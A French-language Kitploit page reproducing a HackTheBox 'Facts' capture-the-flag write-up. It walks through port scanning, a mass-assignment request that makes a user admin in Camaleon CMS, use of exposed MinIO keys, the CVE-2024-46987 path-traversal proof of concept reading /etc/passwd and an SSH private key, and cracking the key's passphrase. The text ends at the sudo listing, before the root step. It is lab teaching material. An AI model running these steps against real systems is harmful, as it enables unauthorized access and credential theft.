Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HackTheBox-Facts — HTB Facts est une boîte Linux facile avec Camaleon CMS et MinIO. Obtenez un accès administrateur via une inscription ouverte et une vulnérabilité d'attribution de masse, puis extrayez les informations d'identification MinIO des paramètres d'administration. Utilisez la traversée de chemin CVE-2024-46987 pour voler une clé privée SSH, déchiffrer sa phrase de passe et élever les privilèges à root en abusant des autorisations sudo sur facter via GTFOBins. | Kitploit
Outils/GitHubGitHub/suriyaboon/hackthebox-facts
Escalade de PrivilègesReconnaissanceAttaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionSécurité Cloud

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

HTB Facts est une boîte Linux facile avec Camaleon CMS et MinIO. Obtenez un accès administrateur via une inscription ouverte et une vulnérabilité d'attribution de masse, puis extrayez les informations d'identification MinIO des paramètres d'administration. Utilisez la traversée de chemin CVE-2024-46987 pour voler une clé privée SSH, déchiffrer sa phrase de passe et élever les privilèges à root en abusant des autorisations sudo sur facter via GTFOBins.

Apprentissage et Éducation
GitHubsuriyaboon/hackthebox-facts

HackTheBox-Facts

Voir le dépôt
20il y a 15 joursPas encore vérifié
Partager

HTB Facts — Writeup complet

OS : Linux
Tags : Web, MinIO, Camaleon CMS, Path Traversal, Élévation de privilèges


Table des matières

  1. Reconnaissance
  2. Énumération Web — Port 80
  3. Découverte de MinIO — Port 54321
  4. Camaleon CMS — Accès administrateur
  5. Élévation de privilèges vers le rôle Admin
  6. Découverte des identifiants MinIO
  7. Lecture arbitraire de fichiers — CVE-2024-46987
  8. Accès SSH en tant que trivia
  9. Élévation de privilèges vers root
  10. Flags

Reconnaissance

Commencez par un scan complet des ports TCP pour identifier les services ouverts.

nmap -p- --min-rate 5000 -T4 10.129.244.96

Résultats :

PortServiceNotes
22SSHOpenSSH
80HTTPNginx 1.26.3 (Ubuntu)
54321InconnuIdentifié comme MinIO

Ajoutez la cible dans /etc/hosts :

echo "10.129.244.96 facts.htb" >> /etc/hosts

Énumération Web — Port 80

En naviguant vers http://facts.htb, on découvre un site de quiz construit sur Camaleon CMS (Ruby on Rails). Indicateurs clés :

  • Nom du cookie : _factsapp_session (session Rails)
  • Chemins des assets : /assets/themes/camaleon_first/
  • Jeton CSRF dans les balises meta
  • Serveur : nginx/1.26.3 (Ubuntu)

Énumérez le sitemap pour toutes les pages disponibles :

curl -s http://facts.htb/sitemap.xml

Chemins notables découverts :

  • /admin → redirige vers /admin/login
  • /rss
  • Diverses pages de quiz : /animal-ejected, /anne-frank, etc.

Vérifiez la présence du panneau de connexion administrateur :

curl -v http://facts.htb/admin
# → 302 redirect to /admin/login

Découverte de MinIO — Port 54321

Le sondage du port inconnu avec curl révèle MinIO, un service de stockage d'objets compatible S3 :

curl -v http://facts.htb:54321

Réponse :

<Error>
  <Code>AccessDenied</Code>
  <Message>Access Denied.</Message>
</Error>

Les en-têtes confirment : Server: MinIO

Sondez les noms de buckets potentiels (une réponse 403 seule ne confirme pas qu'un bucket existe) :

for bucket in facts backup uploads media files images data private secret admin internal; do
  code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
  echo "$bucket: $code"
done

Tous renvoient 403 Forbidden — les buckets existent mais nécessitent des identifiants.


Camaleon CMS — Accès administrateur

Identification du CMS

À partir des chemins des assets et du cookie de session, le CMS est identifié comme Camaleon CMS.

Vérifiez les vulnérabilités connues :

searchsploit camaleon

Résultats :

Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)   | ruby/webapps/51489.txt

La version du panneau d'administration est confirmée comme étant la 2.9.0 (visible dans le pied de page après connexion).

Création d'un compte

La page de connexion administrateur à http://facts.htb/admin/login inclut un lien « Create an account ». Enregistrez un nouveau compte :

  • Naviguez vers http://facts.htb/admin/users/sign_up
  • Remplissez avec des identifiants valides quelconques (par ex., test123 / test123)
  • Soumettez — cela crée un compte avec le rôle Client

Après l'inscription, connectez-vous au tableau de bord administrateur. Le compte dispose de privilèges Client limités.


Élévation de privilèges vers le rôle Admin

Vulnérabilité de mass assignment

Camaleon CMS est vulnérable à une attaque de mass assignment sur le point de terminaison de changement de mot de passe. En interceptant la requête de changement de mot de passe et en injectant un paramètre password[role], un attaquant peut élever son propre rôle à admin.

Étapes avec Burp Suite :

  1. Connectez-vous au panneau d'administration avec le compte Client.
  2. Naviguez vers Profile → Edit → Change Password.
  3. Saisissez un nouveau mot de passe et cliquez sur Process.
  4. Interceptez la requête POST dans Burp Suite.
  5. Ajoutez &password[role]=admin au corps de la requête :
_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
  1. Transmettez la requête — la réponse devrait être 200 OK.
  2. Reconnectez-vous avec les identifiants mis à jour.

Le compte dispose désormais des privilèges admin, accordant un accès complet au panneau d'administration du CMS, y compris Settings, Media et Filesystem Settings.


Découverte des identifiants MinIO

Avec l'accès administrateur, naviguez vers :

Settings → General Site → Filesystem Settings

La page révèle des identifiants MinIO (compatibles AWS S3) codés en dur :

AWS S3 Access Key:    AKIA59D605615FFC8875
AWS S3 Secret Key:    O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name:   randomfacts
AWS S3 Region:        us-east-1
AWS S3 Endpoint:      http://localhost:54321

Configurez AWS CLI et énumérez les buckets :

export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'

aws s3 ls --endpoint-url http://facts.htb:54321

Buckets découverts :

2025-09-11  internal
2025-09-11  randomfacts

Le bucket internal contient le répertoire personnel de l'utilisateur trivia :

aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321

# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321

Lecture arbitraire de fichiers — CVE-2024-46987

Alternativement, la clé privée SSH peut être récupérée via CVE-2024-46987, une vulnérabilité de path traversal authentifiée dans Camaleon CMS qui permet de lire des fichiers arbitraires du serveur.

Clonez le PoC public :

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987

Lisez des fichiers sensibles :

# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd

Sortie (lignes pertinentes) :

trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Deux utilisateurs sont identifiés : trivia et william. Comme trivia dispose d'un shell de connexion et d'un répertoire personnel, vérifiez la présence d'une clé privée SSH :

# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519

Enregistrez la sortie de la clé dans un fichier :

chmod 600 id_ed25519

Accès SSH en tant que trivia

Craquage de la phrase secrète de la clé SSH

La clé privée SSH est chiffrée avec une phrase secrète. Utilisez ssh2john et john pour la craquer :

ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Phrase secrète craquée : dragonballz

Connexion via SSH

ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz

Récupérez le flag utilisateur :

cat /home/william/user.txt

Élévation de privilèges vers root

Permissions sudo

Vérifiez les privilèges sudo de l'utilisateur trivia :

sudo -l

Sortie :

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
Télécharger l’outil